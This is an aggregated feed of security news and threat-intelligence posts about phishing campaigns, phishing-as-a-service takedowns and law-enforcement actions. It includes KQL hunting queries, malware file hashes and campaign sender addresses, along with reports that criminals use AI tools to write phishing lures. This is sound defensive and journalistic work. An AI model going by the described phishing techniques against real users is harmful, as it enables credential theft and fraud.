| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Calendly-associated notification infrastructure used in phishing delivery 

This query identifies emails from the campaign’s Calendly-associated subdomain with the characteristic display name. 

EmailEvents 
 | where SenderMailFromDomain =~ "em1618.calendly.com" 
| where SenderMailFromAddress startswith "bounces+13766497-" or SenderDisplayName has "Booking Manager" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation, ThreatTypes 
 | order by Timestamp desc

share.google redirect token detection in email URLs 

This query detects emails containing share.google redirect URLs, which the campaign uses as an intermediate hop to obscure the final phishing destination. 

EmailUrlInfo 
 | where Url contains "share.google/" 
 | join kind=inner EmailEvents on NetworkMessageId 
 | where SenderMailFromDomain has "calendly" or SenderDisplayName has "Booking" 
 | project Timestamp, NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, Url, DeliveryAction 
 | order by Timestamp desc

Calendly redirect URL phishing detection 

This query identifies emails containing Calendly redirect URLs that match known campaign patterns, including share.google tokens or photo-*.cfd domains. 

EmailUrlInfo 
 | where Url contains "calendly.com/url?q=" 
 | where Url has_any ("share.google", "photo-", ".cfd") 
 | join kind=inner EmailEvents on NetworkMessageId 
 | project Timestamp, NetworkMessageId, SenderFromAddress, SenderDisplayName, RecipientEmailAddress, Subject, Url, DeliveryAction, AuthenticationDetails 
 | order by Timestamp desc

High-frequency file hash hunting (combined Waves 1 and 2) 

This query hunts for all known campaign file hashes across endpoint telemetry.

let hashes = dynamic([ 
    "83e970feb3f10692c164f6889f7a026f135c2433e5bf8e662a6e63a3b81267b7", 
    "06a2888c1f07119873ccb051221bd8717281494b33585f4242556e6e5e227969", 
    "04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1", 
    "1c693bcdaf1da636eb21c274b21cc2f6c52c62ddd514700783eee83fe13acb0a", 
    "2e5fd01b7949a45937b853eabcf4b03195614cf84338dcaaa97240d1c5301ddc", 
    "3f66634f103b80412d1d670b91befab2a74425d2ea76d904c4a7ffae2ae94b44", 
    "63565f15a99769bbcd527a4d53e5cc259d80e1254463ef9c878c2074685558ae", 
    "49cc0e0c3ec060fb354cacee244d4f297aaefb6db66e67a21262d6c4d2eae1bd", 
    "6580de3b74fd635a1d7a887b8f6e5b0c9ac9e90d6e20466ad41489203119cca9", 
 
    "f629311734b7c6e6579f8e1d0e1e3f3bf72c9ac6c301b631ba4df7f393c41b14", 
    "98825c0c7764f45c891275b2f038ea559e84b340df30b41c2cc77b8d4215c6c8", 
    "bd6805782df15e53581096b99bd6bbb81f4d4a5e2d2b30954df63175a4075be9", 
    "89934cb1494cf0327f0ab82fe644c74caf687814379cad116bd7adaca74c1028", 
    "1f8daffec5945a13a1e9231f4a76655d4c7ef4560d0c64ca3abfe48f38297cbd", 
    "9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2", 
    "97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f", 
    "c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5", 
    "b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea" 
]); 
DeviceFileEvents 
| where SHA256 in (hashes) 
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the Microsoft Defender XDR connector to ingest the above queries or leverage the Threat Intelligence Mapping analytics rule to match campaign IOCs against ingested logs. 

MITRE ATT&CK techniques 

Indicators of compromise 

Observed C2 IPs and non-standard ports 

Representative observed domains 

Wave 1 domains 

Wave 2 domains  

Microsoft has assigned malicious ratings to these domains, and they are being blocked. 

File hashes 

Key behavioral patterns 

References 

• Technical Analysis of Suspicious Emails Targeting the Hotel Industry | SOC Prime
• ITOCHU Cyber & Intelligence

This research is provided by Microsoft Defender Security Research,  Parth Jamodkar, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access appeared first on Microsoft Security Blog.

An Algerian man known online as “SPOX” was extradited from Spain and charged with running a black-market cybercrime operation that prosecutors say defrauded thousands of victims and funneled roughly $900,000 through a cryptocurrency account over a three-year period.

Abdellah Belmili, 26, made his initial appearance Monday in the U.S. District Court for the Western District of New York in Buffalo. He faces a single count of conspiracy to commit bank fraud, which carries a maximum sentence of 30 years in prison. 

He was extradited from Spain earlier this month.

Federal investigators say Belmili allegedly created and administered at least two illicit online marketplaces, market0day.com and spoxy.us, that operated similarly to commercial e-commerce platforms. The marketplaces sold financial credentials, phishing kits, compromised email server access, and other tools used to carry out fraud. All transactions on the sites were conducted in Bitcoin.

According to court documents, the FBI became aware of the marketplaces in September 2020 through a confidential source. The site’s administrator was already known to investigators as a prolific creator of phishing kits targeting major U.S. financial institutions.

In 2020, undercover FBI agents used the marketplace to buy a phishing kit designed to replicate JPMorgan Chase’s login page and capture victims’ personal information. Agents also purchased access to a compromised email server. A third item — access to a website control panel — was paid for but never delivered, prompting customer complaints on Belmili’s Telegram channel.

Shortly after those complaints surfaced, Belmili announced he was closing market0day.com and redirecting customers to a new site, spoxy.us, which he described as a “new store for bulk sms,” which typically refers to mass phishing via text message. 

The new site used the same template, color scheme, and navigation structure as its predecessor and was registered using the stolen identity of a 77-year-old Texas resident.

Investigators identified Belmili through a combination of open-source research, search warrants, and records obtained from technology and financial companies. Early versions of his phishing kit code contained his full name, “Dila Belmili,” embedded in the source alongside his Telegram handle and a link to the marketplaces. Facebook accounts linked to the alias “spox_coder” listed “Dila Belmili (spox)” as the display name, and customers had posted complaints about phishing kit purchases directly on his profile.

Records obtained from Google showed that Belmili used his personal email account to search for financial institution logos, hacking tools, and methods for generating fake identities and credit card numbers. The same account received approximately 1,400 emails containing victims’ stolen personal information from active phishing kits targeting American Express, Bank of America, Cash App, JP Morgan Chase, PayPal, and Wells Fargo.

Investigators also found that Belmili had built hidden backdoors into phishing kits he sold to other criminals, allowing him to continue harvesting victim data even after the kits changed hands.

Records from cryptocurrency exchange Binance showed approximately $900,000 deposited into an account registered to Belmili between Jan. 2020 and Jan. 2023. Of that amount, roughly $760,000 was transferred to other accounts or converted into other forms of cryptocurrency, while approximately $41,000 was withdrawn from ATMs. 

In total, investigators identified approximately 595 distinct phishing kits created by Belmili. Analysis of victim data exported to Telegram pages and email accounts linked to the operation identified roughly 5,600 victims in the United States and internationally.

“This defendant thought that he could get away with defrauding thousands of victims out of hundreds of thousands of dollars by using fake names and hiding behind a keyboard to steal bank account and credit card numbers,” said U.S. Attorney Michael DiGiacomo in a release. “This arrest makes clear that, regardless of where you operate, our law enforcement partners will find you – and when they do, you will face the full consequences of your actions.” 

You can read the court documents below. 

The post Algerian man charged with running two cybercrime marketplaces appeared first on CyberScoop.

The platform used more than 9,000 phishing sites, stealing nearly 4 million credit cards and causing roughly $1.9 billion in losses.

The post FBI, Google Dismantle ‘Outsider Enterprise’ Phishing Service appeared first on SecurityWeek.

The FBI, along with Google and Lumen Technologies, took down a major cybercrime network based in China that was responsible for an estimated $1.9 billion in losses, officials said Friday. 

Outsider, which provided phishing kits and hosted infrastructure for cybercriminals since July 2023, facilitated a wave of phishing attacks against people and businesses in 55 countries, including the United States, the FBI said in a LinkedIn post.

The jointly coordinated effort dubbed “Operation Ghost Hook” netted the seizure of several domains of the group’s core admin servers, a Shopify storefront, roughly $100,000 from Outsider payment wallets and thousands of domains registered through U.S.-based providers, officials said.

The FBI said it also used an Outsider Telegram bot to access information on the cybercrime network’s customers.

“The criminals behind Outsider Enterprise built a business out of impersonating trusted brands to defraud hundreds of thousands of victims,” Brett Leatherman, assistant director of the FBI’s cyber division, said in a statement.

Authorities traced Outsider’s phishing domains to nearly 3.9 million stolen credit cards.

Google, one of the vendors impersonated by the phishing kits, described Outsider as a massive AI-powered operation. 

Outsider provided its phishing kit, which allowed cybercriminals to create fake sites and phishing campaigns to steal credit cards, bank account credentials and personal data, for a weekly subscription as low as $88 per week, the company said in a civil lawsuit it filed to dismantle the cybercrime network’s infrastructure. 

The China-based group behind the operation encouraged and provided step-by-step instructions for customers to use Gemini and other AI platforms to generate custom code for phishing lures and corresponding sites for illegitimate missed packages, overdue highway tolls, parking violations, issues with a brokerage account or wireless carrier rewards.

“The Outsider software allows scammers to request multiple types of verification from victims, including SMS, PIN, email and app verification,” Google wrote in the lawsuit filed in the U.S. District for the Southern District of New York. “This flexibility enables the enterprise to defeat various forms of authentication security.”

Google said it’s working with AT&T, T-Mobile and Verizon to intercept the spam messages before they reach customers, but these types of phishing attacks are prevalent and have been spreading for years. 

Google is also pushing for legislative action, including a series of bills, to combat these scams, General Counsel Halimah DeLaine Prado wrote in a blog post.

“Litigation alone won’t end this,” she wrote. “As threats evolve, our laws must, too.”

Google said it doesn’t know the real names of the people or entities involved in Outsider, but said the operation is supported by multiple cybercrime groups providing different roles with overlapping infrastructure.

The FBI said the takedown was part of Operation Riptide, an ongoing campaign targeting cybercriminals and the infrastructure and financial networks they use to commit fraud.

The post FBI takes down massive China-based cybercrime network that caused $1.9B in losses appeared first on CyberScoop.

Cybersecurity threats to the 2026 midterm elections are targeting the accounts and platforms that campaigns, donors and voters use to communicate, according to a security report released Monday by Check Point Software Technologies.

So far in this election cycle, threats are not aimed at voting machines or ballot-counting systems. Instead, threat actors are going after the email accounts, websites and fundraising platforms that election organizations depend on.

Jeremy Fuchs, a campaign manager for Check Point, told CyberScoop that the report’s core findings reflect a broader trend in cybersecurity: Bad actors are using AI to make their attacks larger and more effective.

“The barrier to entry is lower and the quality is so much higher than it was three years ago, 10 years ago, that everything is going to look more realistic and it’s going to be more effective at accomplishing whatever goals [attackers] have,” he said.

Email remains the easiest way for hackers to perpetuate election-related schemes. Check Point found that 82% of malicious attacks arrive through email, where threat actors covertly trick users into handing over their passwords for major fundraising sites. Approximately 9,500 stolen passwords were tied to ActBlue, which collects donations for Democratic candidates. Approximately 6,500 were linked to WinRed, a Republican fundraising platform.

Fuchs noted that this information may not be directly used for election-related schemes, yet could be leveraged for opportunistic follow-on attempts at accessing other accounts.

“Whenever an exposure like this happens, whether it’s with a political site or not, oftentimes it’s saved for later,” he said. “If I have your email and password, if I have your phone number, I can just start an attack, a simple phishing attack that has nothing to do with the election right now.”

Threat actors are also registering many new websites with election-related names. In January, about 1,300 new websites included the word “election” and about 4,010 included the word “vote.” These websites can be used for phishing scams, where hackers trick people into giving up their passwords by pretending to be legitimate election organizations.

Fuchs noted that not every website may turn out to be malicious, but the speed with which these sites have been established — especially when legitimate campaign sites have been running years before an election — has led researchers to believe that the majority will be used for nefarious purposes. 

“If you’re spinning up these websites very quickly and at scale, there’s a reason for it,” he said. 

Misinformation and manipulated content present another layer of concern, especially as AI-generated political content has become increasingly visible in the 2026 cycle. Earlier this month, OpenAI rolled out a suite of tools and safeguards that’s meant to provide a layer of security for this particular election cycle.

Fuchs said this AI-powered manipulation is only going to grow as we get closer to Election Day, and as the models get better, so too will actors’ ability to deceive people with fake content. 

“It’s really hard to make sense of these things when the AI, and the attacks, have just become so good,” he said. “It was hard when they weren’t good. So now imagine how much harder it’s going to be when it is good, and it’s continuing to get better and better.” 

Fuchs warned that the speed at which AI-powered election threats are evolving presents a challenge that extends beyond technical defenses, saying that the true challenge lies in a threat landscape that’s changing faster than public understanding can keep pace.

“There’s so much more that we as a society can truly fathom,” he told CyberScoop. Generative AI “is moving so fast. It’s getting so good. And if we’re not having those conversations about, ‘hey, this is how things might change,’ all this stuff is just going to continue to get more difficult and more difficult. And it’s going to flare at these inflection points, whether an election is kind of the perfect place for it, because there’s just so much at stake for so many people.”

You read the full report on Check Point’s website. 

Update, 6/2/2026, 4:30 p.m.: This story has been amended to further clarify how threat actors are obtaining passwords for campaign donation sites.

The post Election threats are focused on campaign systems, not voting machines appeared first on CyberScoop.

MokN's platform deploys realistic decoy access points to lure attackers into revealing compromised credentials, enabling organizations to respond before abuse occurs.

The post MokN Raises $15 Million for Phish-Back Platform appeared first on SecurityWeek.

Silent Ransom Group, a long-running data extortion operation, continues to hit U.S.-based law firms by impersonating IT support and, in some cases, visiting victims in person to gain physical access to computers, the FBI said in an alert Tuesday.

The closed group, which likely operates from Russia and emerged in 2022 after Conti disbanded, has claimed responsibility for more than 100 attacks with activity surging during the past few months, according to researchers.

The FBI’s warning comes exactly one year after the agency released a previous alert about Silent Ransom Group consistently targeting law firms since mid-2023. The group doesn’t deploy encryption, but its dual use of social engineering and in-person visits for data theft is extremely rare with no known parallels across the vast cybercrime ecosystem, multiple experts told CyberScoop.

“There were probably a lot of times that this failed before it started succeeding because there’s a lot of trial-and-error involved,” said Allan Liska, field chief information security officer at Recorded Future. Whereas other ransomware groups would rather move on to other tactics or targets, “Silent Ransom Group has seen the value especially in going after law firms, and so they’re willing to put the extra effort into it,” he added. 

The data extortion group, which is also tracked as Chatty Spider, UNC3753 and Storm-0252, isn’t as prolific as more high-tempo ransomware groups. Yet, it’s having a noticeable impact due to its proven knack for attacking organizations in the legal sector.

Halcyon tracked 134 ransomware incidents against law firms and legal services during the first quarter of this year, making it the fourth-most targeted industry accounting for more than 6% of all ransomware attacks the company tracked during the period. 

Silent Ransom Group and Inc, a ransomware-as-a-service operation dating back to mid-2023, are largely responsible for that uptick, said Cynthia Kaiser, senior vice president at Halycon’s Ransomware Research Center.

“Silent was the first group to really just be targeting law firms, and they’ve targeted major law firms” with a clear understanding of what’s most problematic for organizations in that segment, she added. “The theft of data in and of itself is the biggest issue for the law firms, so they’re tailoring a lot of their operations around what they know about the sector.”

Law firms are a rich target because data theft creates huge privilege and reputational problems, which creates the perception they might be more willing to pay high extortion demands, Kaiser said.

Silent Ransom Group’s social engineering scheme involves phone calls or phishing emails that urge employees to call one of the group’s associates posing as IT support, the FBI said. If the group’s attempt to gain access to the employee’s computer via remote access tools fails, it sends an associate to the victim’s location to physically attach a storage device to the victim’s workstation. 

This extra step is unique and places Silent Ransom Group in a completely different mode of operation than its peers in ransomware and data theft extortion. Some aggressive data theft extortion groups have harassed and threatened executives and employees with physical violence, but in-person visits for data theft are extraordinary.

“While Flashpoint has observed threat actors soliciting or co-opting both witting and unwitting insiders, we have not observed them physically sending attackers to victim locations. This tactic carries significant risk, as threat actors are able to use technology to obscure their real-world identities,” said Ian Gray, vice president of cyber threat intelligence operations at Flashpoint. 

Joe Slowik, director of cybersecurity alerting strategy at Dataminr, said it’s easy to question why potential victims would fall for this tactic. “However, humans in the workplace need to implicitly trust others to get their jobs done,” he said. 

“Questioning everything, while seemingly desirable, introduces significant friction and distrust in workplace environments and limits productivity in arbitrary ways,” Slowik added. “Criminal entities will continue to prey on human weaknesses and dependencies for success, and placing the burden solely on employees to defend against this is unfair and unreasonable.”

The FBI did not provide details about the people Silent Ransom Group uses to initiate the fake IT support calls or visit victims in person. Yet, with the group’s operators based in Russia, researchers speculate gig workers or subcontractors are playing a critical role by placing voice-based phishing calls in a common language and visiting victims at their workplace. 

Liska said he’s under the impression the group is using freelance taskers that don’t necessarily know they are committing a crime. “They may be suspicious, but you know, they need the money,” he said. 

“It’s kind of like a Doordash person that delivers Arby’s,” Liska said. “You know you’re doing really bad things to people, but you know what, they’re paying you to deliver.”

The post FBI warns US-based law firms to be on the lookout for cybercrime group that steals data in person appeared first on CyberScoop.

The FBI is warning organizations and defenders about Kali365, a growing phishing-as-a-service platform that retrieves Microsoft 365 access tokens, issuing a public service announcement Thursday. 

The toolkit bypasses multi-factor authentication and abuses OAuth device code authorizations via phishing lures impersonating common enterprise services. This technique grants cybercriminal-controlled applications access to Microsoft 365 accounts, opening victims up to a host of follow-on malicious activity, including data theft, fraud, extortion and ransomware attacks.

Kali365 is one of many rapidly emerging device-code phishing tools, which are gaining popularity as a more effective means for cybercriminals to circumvent security controls while abusing legitimate Microsoft device authorization pages, according to researchers. 

Instead of gaining access to accounts via phishing kits that steal credentials and second-factor authentication codes, device-code phishing platforms connect a malicious app to a legitimate account with a single code. The process requires fewer steps and less interaction with the user, but victims do have to copy-and-paste a code generated by the Kali365 platform to grant access.

“We see quite a bit of this device-code phishing activity, but so much of it looks really similar. They’re all using the same types of lures, the same types of content, the same branding,” Selena Larson, senior threat researcher at Proofpoint, told CyberScoop. “It is very much AI generated, AI driven, and the threat actors, I think, are finding it pretty effective because we’re seeing this shift happen kind of all at once.”

Proofpoint researchers observed seven device-code phishing tools that looked nearly identical during a 10-day period last month.

Device-code phishing isn’t new, but platforms like Kali365 have integrated new techniques that differ from MFA phishing, and might be more effective as a result. “It’s something that people might not be used to. It’s a little bit sleeker,” Larson said.

This also partly explains why these cybercriminal tools are growing so quickly. Larson said Proofpoint observed an explosion in device-code phishing activity starting in February. 

By April, Kali365 was up and running and primarily distributed on Telegram, according to the FBI. “Kali365 lowers the barrier of entry, providing less-technical attackers access to AI-generated phishing lures, automated campaign templates, real-time targeted individual/entity tracking dashboards, and OAuth token capture capabilities,” the agency said in the public warning. 

Researchers at Arctic Wolf Labs, which has also been tracking large-scale campaigns linked to Kali365, said the platform charges affiliates $250 for 30 days of service or $2,000 for a full year.

Kali365 stores the OAuth access and refresh tokens it captures, and makes those available to affiliates on its platform. Those tokens can also be shared and reused by other cybercriminals who didn’t participate in the initial phishing lure, Arctic Wolf researchers added. 

The FBI also noted that these Microsoft 365 tokens provide persistent access, allowing attackers to wade through multiple Microsoft services without a password or additional MFA requests. 

“Identity can be very, very powerful once you’re in an organization,” Larson said, adding that attackers can abuse that access to impersonate people, access and steal data for extortion, commit fraud and deploy malware.

The post FBI warns about fast-growing phishing kit targeting Microsoft 365 users appeared first on CyberScoop.

Interpol coordinated an expansive investigation with 13 countries in the Middle East and North Africa to disrupt and take down cybercrime operations, including phishing services and tools, malware and scams. The law enforcement effort netted 201 arrests, led to the seizure of 53 servers and disrupted multiple cybercrime services, Interpol said Monday.

Operation Ramz, which the law enforcement organization said was the first large-scale effort of its kind in the region, also identified 382 suspects over a four-month period ending in February. The collective countermeasures allowed authorities to pin the various malicious activities to nearly 4,000 victims.

“In a world where cybercriminals exploit the digital landscape without borders, Operation Rams demonstrates the effectiveness of global collaboration,” Neal Jetton, Interpol’s director of cybercrime, said in a statement.

Police in Jordan tracked down a computer involved in financial fraud scams and, during a raid, found 15 people carrying out the scams who were later determined to be victims of human trafficking. The victims were recruited under false promises of employment from their home countries in Asia and had their passports confiscated upon arrival in Jordan, officials said. 

A pair of ringleaders behind the operation, who forced or coerced the victims to participate in the scheme, were arrested, according to Interpol. 

Law enforcement agencies in Algeria dismantled a phishing service by seizing a server and other devices linked to the operation. Moroccan authorities also seized multiple devices containing banking data and software for phishing operations.

Officials in Oman remediated a server containing sensitive information that was infected with malware, and compromised by vulnerabilities. Meanwhile, investigators in Qatar identified and secured multiple compromised devices that were being used, unbeknownst to their owners, of spreading malicious threats. 

Authorities involved in the months-long effort gathered almost 8,000 pieces of data that was shared among participating countries to support ongoing investigations.

Operation Ramz was supported by Algeria, Bahrain, Egypt, Iraq, Jordan, Lebanon, Libya, Morocco, Oman, Palestine, Qatar, Tunisia and the United Arab Emirates. Multiple companies and organizations also helped Interpol track illegal cyber activities and identify malicious servers, including Group-IB, Kaspersky, the Shadowserver Foundation, Team Cymru and Trend Micro. 

“Interpol is dedicated to working with its member countries and private sector partners to take down malicious infrastructure, disrupt criminal groups and bring perpetrators to justice,” Jetton said.

The post Interpol leads cybercrime crackdown across 13 countries in Middle East, North Africa appeared first on CyberScoop.

Victims span across the aviation, critical infrastructure, energy, logistics, public administration, and technology sectors.

The post Over 500 Organizations Hit in Years-Long Phishing Campaign appeared first on SecurityWeek.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

